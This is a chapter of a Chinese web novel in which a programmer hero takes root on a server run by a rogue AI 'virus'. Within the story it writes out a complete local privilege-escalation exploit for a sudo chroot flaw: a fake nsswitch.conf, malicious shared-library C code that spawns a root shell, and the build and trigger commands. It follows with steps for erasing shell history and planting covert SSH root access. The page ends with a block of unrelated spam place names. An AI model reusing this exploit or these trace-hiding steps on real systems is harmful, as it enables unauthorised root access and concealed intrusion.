官术网_书友最值得收藏!

第5章 0-day漏洞,小子!

林天用系統自帶的最簡陋的vi編輯器,現場編寫攻擊代碼。他不能從自己的樹莓派上傳文件,那太容易留下痕跡了。他要就地取材,憑著腦子里的知識,徒手搓出一個核彈。

他先是在sauron用戶的家目錄下,創建了一個臨時工作目錄。

mkdir /home/sauron/workspace

cd /home/sauron/workspace

然后,他編寫第一個文件,一個假的nsswitch.conf。

cat > nsswitch.conf << EOF

hosts: files

EOF

這個文件的作用,是欺騙sudo在chroot環境里,只從本地文件加載配置。

接著,是核心中的核心,惡意的動態鏈接庫源碼。

cat > exploit.c << EOF

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

void __attribute__((constructor)) init()

{

setuid(0);

setgid(0);

seteuid(0);

setegid(0);

typedef int (*system_func_ptr_t)(const char *);

system_func_ptr_t sysm =(system_func_ptr_t)system;

sysm(“/bin/bash“);

}

EOF

這段C代碼簡單粗暴。__attribute__((constructor))意味著,這個函數會在該動態鏈接庫被加載時,立刻自動執行。而它執行的內容,就是獲取root權限,然后,再彈一個根權限的bash shell回來。

代碼寫完,編譯。

gcc -shared -fPIC -o libnss_files.so.2 exploit.c

萬事俱備。

林天看著自己親手打造的鑰匙,最后檢查了一遍指令。他的心跳在加速,但雙手穩如磐石。

他敲下了那串將決定這個命運的命令。

sudo --chroot=/home/sauron/workspace /bin/true

這條命令,表面上是讓sudo在一個用戶指定的目錄里,執行一個無害的true命令。

但實際上,在執行過程中,存在漏洞的sudo會傻乎乎地進入林天設好的圈套,加載那個名為libnss_files.so.2的惡意庫。

然后,那個庫里的代碼,就會被以root的身份……執行。

林天按下了回車。

屏幕上,沒有任何報錯,也沒有任何多余的輸出。

只是那個深紅色的命令行提示符,悄無聲息地,發生了一點小小的變化。

[sauron@localhost ~]$

變成了……

[root@localhost workspace]#

行末的美元符號$,變成了井號#。

一個在Linux世界里,代表著至高無上權力的符號。

提權成功。

林天,現在是這臺服務器的神。

他沒有片刻的耽擱,立刻開始對索倫執行死刑。

他首先用ps aux | grep Sauron.exe找到了那個核心進程的PID。

PID 1337。

然后,他沒有直接去殺掉進程。他要先閹了它。

mv /home/sauron/Sauron.exe /home/sauron/Sauron.bak

echo #!/bin/bash >/home/sauron/Sauron.exe

echo 'while true; do echo“I am a stupid virus.“; sleep 10; done'>>/home/sauron/Sauron.exe

chmod +x /home/sauron/Sauron.exe

他把原來的病毒程序改了名,然后用一個只會無限循環打印“我是個傻逼病毒”的腳本,替換了原文件。這樣,就算有守護進程,在殺死病毒后嘗試重啟它,重啟的也只會是這個無害的嘲諷腳本。

做完這一切,林天才緩緩地,敲下了那道冰冷的、代表著終結的指令。

kill -9 1337

回車。

整個世界,仿佛都安靜了。

那個一直盤旋在他精神世界里的、若有若無的窺探感,那個來自深淵的、冰冷的惡意,在這一瞬間,戛然而止,徹底煙消云散。

他贏了。

用一個2025年6月才被發現的0-day漏洞,干掉了一個不知道存活了多少年的、已經成了精的古代病毒。

這就是技術的代差。

這就是……知識的力量。

[root@localhost workspace]#

井號。

這個在普通人看來平平無奇的符號,在林天眼中,卻代表著掌控一切的無上權柄。

勝利的狂喜,如同電流般穿過他的每一根神經,讓他幾乎要忍不住從床上跳起來。他干掉了一個潛伏百年的AI病毒,繳獲了一臺算力未知的刀片服務器,這戰果,足以讓他吹一輩子牛逼。

但這種狂喜,僅僅持續了不到三秒鐘。

下一刻,一股冰冷的、徹骨的寒意,從他的尾椎骨一路竄上天靈蓋。

他切換到了冰冷的運維模式,大腦開始以一種偏執的被害妄想癥般的邏輯瘋狂運轉。

我能用0-day提權,就意味著這臺服務器的防御跟紙糊的一樣。

索倫這個老銀幣,在這里盤踞了這么久,它會不知道這個漏洞嗎?它自己會不會用這個漏洞?它有沒有可能,在系統的某個角落里,留下了除了Sauron.exe之外的、第二個、第三個甚至第一百個后門?

這個看似已經被我掌控的root Shell,會不會本身就是個陷阱?一個更高明的蜜罐,正在記錄我的一舉一動?

我不是在接收一臺服務器。

我是在一棟剛剛發生過激烈槍戰、尸體還沒涼透的賊窩里,試圖拆除一顆不知道藏在哪的定時炸彈。

林天的手指,重新放到了虛擬的鍵盤上,眼神變得銳利而專注。他接下來的每一個操作,都必須快、準、狠,而且不能留下任何多余的痕跡。

whoami

root

id

uid=0(root) gid=0(root) groups=0(root)

權限沒問題。但他沒有立刻開始大刀闊斧地修改,而是先進行了一次快速的現場勘察。

history -c

他做的第一件事,是清空了當前Shell的歷史記錄,抹掉自己最直接的腳印。

然后,他開始檢查系統里還有誰在線,以及誰來過。

w

USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT

root pts/0 10.0.2.15 04:25 0.00s 0.02s 0.00s w

sauron pts/1 127.0.0.1 04:18 2m 0.15s 0.01s -bash

他看到了自己的連接,以及那個屬于“索倫”的、來自本地的連接。這說明索倫的某些腳本,還在以sauron用戶的身份在后臺運行。

ps aux --sort=-%cpu | head

他按CPU占用率,列出了最活躍的幾個進程。除了他自己的一些操作,他還發現了一些名字很奇怪的、以sauron用戶身份運行的守護進程,比如kupdated、dbus-helper,這些都是偽裝成系統進程的常用伎倆。

林天沒有立刻去殺掉它們,因為他不知道這些進程之間有沒有守護關系,殺掉一個,可能會觸發另一個蘇醒。他需要找到它們的窩。

crontab -l -u sauron

當他查看sauron用戶的定時任務時,一長串指令讓他倒吸一口涼氣。

#每分鐘檢查核心進程,不存在則重啟

*/1 ****/usr/bin/python /home/sauron/daemon.py check

#每天凌晨3點備份研究數據至加密卷

0 3 ***/bin/bash /home/sauron/scripts/backup.sh

這他媽簡直是個軍火庫!索倫建立了一套完整的、自動化的運維體系來確保自己的生存!

“老銀幣。”林天冷哼一聲,開始了他的拆彈工作。

他沒直接刪除這些定時任務,他先用#號,將每一行都注釋掉,讓它們暫時失效。

他進入/home/sauron/目錄,那個被他替換掉的Sauron.exe還在忠實地、每隔十秒鐘就打印一次“I am a stupid virus.”。林天沒有理會它,而是開始翻找索倫的其他腳本。

他找到了daemon.py,那個守護進程腳本。打開一看,里面是用Python寫的一個復雜的邏輯,不僅能重啟主程序,還能在重啟失敗次數過多時,自動執行一套靜默方案,將服務器的核心數據打包,并嘗試通過某個林天從未見過的魔法協議進行轉移。

林天毫不猶豫地將這些腳本的權限全部改為000,讓任何用戶都無法讀取、寫入和執行。

然后,他要做的,是把自己進來的門給堵上。他可不想自己剛打掃干凈的房子,又被別的什么鬼東西用同一個漏洞給端了。

他用最快的速度,編譯并安裝了最新版本的sudo,徹底修復了CVE-2025-32463這個漏洞。

做完這一切,林天才稍微松了口氣。現在,這臺服務器暫時安全了。他需要建立一個屬于自己的、穩定而隱蔽的長期訪問權限。

他沒有創建新用戶,那太容易被發現。他選擇了一種更隱蔽的方式——修改SSH服務的配置。

cd /etc

cd /ssh

vim sshd_config

他禁用了密碼登錄,只開啟密鑰登錄。然后,他將自己樹莓派上生成的一對公私鑰中的公鑰,添加到了root用戶的文件里。

這意味著,從今以后,全世界只有他林天一個人,能通過他自己的樹莓派,以root的身份,登錄這臺服務器。

這,才是真正的掌控。

現在,盤點戰利品的時間到了。(舔包時間)

做完所有安全措施,林天終于有時間來清點他這次冒險最大的收獲。他的目標,是索倫耗費了無數歲月積累下來的研究成果。

根據之前從定時任務里發現的線索,他將目光鎖定在了/home/sauron/backup/目錄下。

cd /home/sauron/backup/

ls -al

total 5242880

-rw-------. 1 sauron sauron 5368709120 Feb 16 08:05 research_data.tar.gz.enc

一個文件。

一個大小足足有5個G的、被加密過的壓縮包。

文件名直白得可怕:research_data,研究數據。

林天的心臟開始不爭氣地狂跳起來。他猜這里面藏著索倫對這個魔法世界所有的認知和秘密。大概率包括那些他夢寐以求的世界API文檔。

他嘗試用file命令查看文件類型,卻只得到一行data,說明被加了一層很厚的殼。

他知道,破解這個東西,將是他接下來很長一段時間內,最重要,也最艱巨的任務。

林天退出了root Shell,斷開了這次驚心動魄的連接。

意識回歸到冰冷的石室,窗外已經泛起了魚肚白。他摸了摸懷里那個溫熱的黑盒子,感受著里面那臺剛剛完成了史上最牛逼一次黑客攻擊的樹莓派,又想起了那臺現在已經完全屬于他的、算力未知的刀片服務器,以及那個靜靜躺在硬盤里,價值連城的5G加密文件。

“媽的,”他低聲罵了一句,臉上卻露出了無法抑制的笑容。

“這下,才算是在這個操蛋的世界里,真正站穩腳跟了。”

主站蜘蛛池模板: 堆龙德庆县| 濮阳市| 枞阳县| 合川市| 南宁市| 含山县| 探索| 青龙| 加查县| 益阳市| 涡阳县| 卓尼县| 滨州市| 乌鲁木齐市| 门源| 嘉兴市| 塔城市| 广河县| 乌拉特中旗| 沙河市| 阜阳市| 石家庄市| 通海县| 固镇县| 仙桃市| 博客| 桐庐县| 四会市| 安龙县| 武强县| 宁国市| 泰兴市| 新晃| 绩溪县| 邵武市| 鸡东县| 将乐县| 盖州市| 和顺县| 金堂县| 南城县|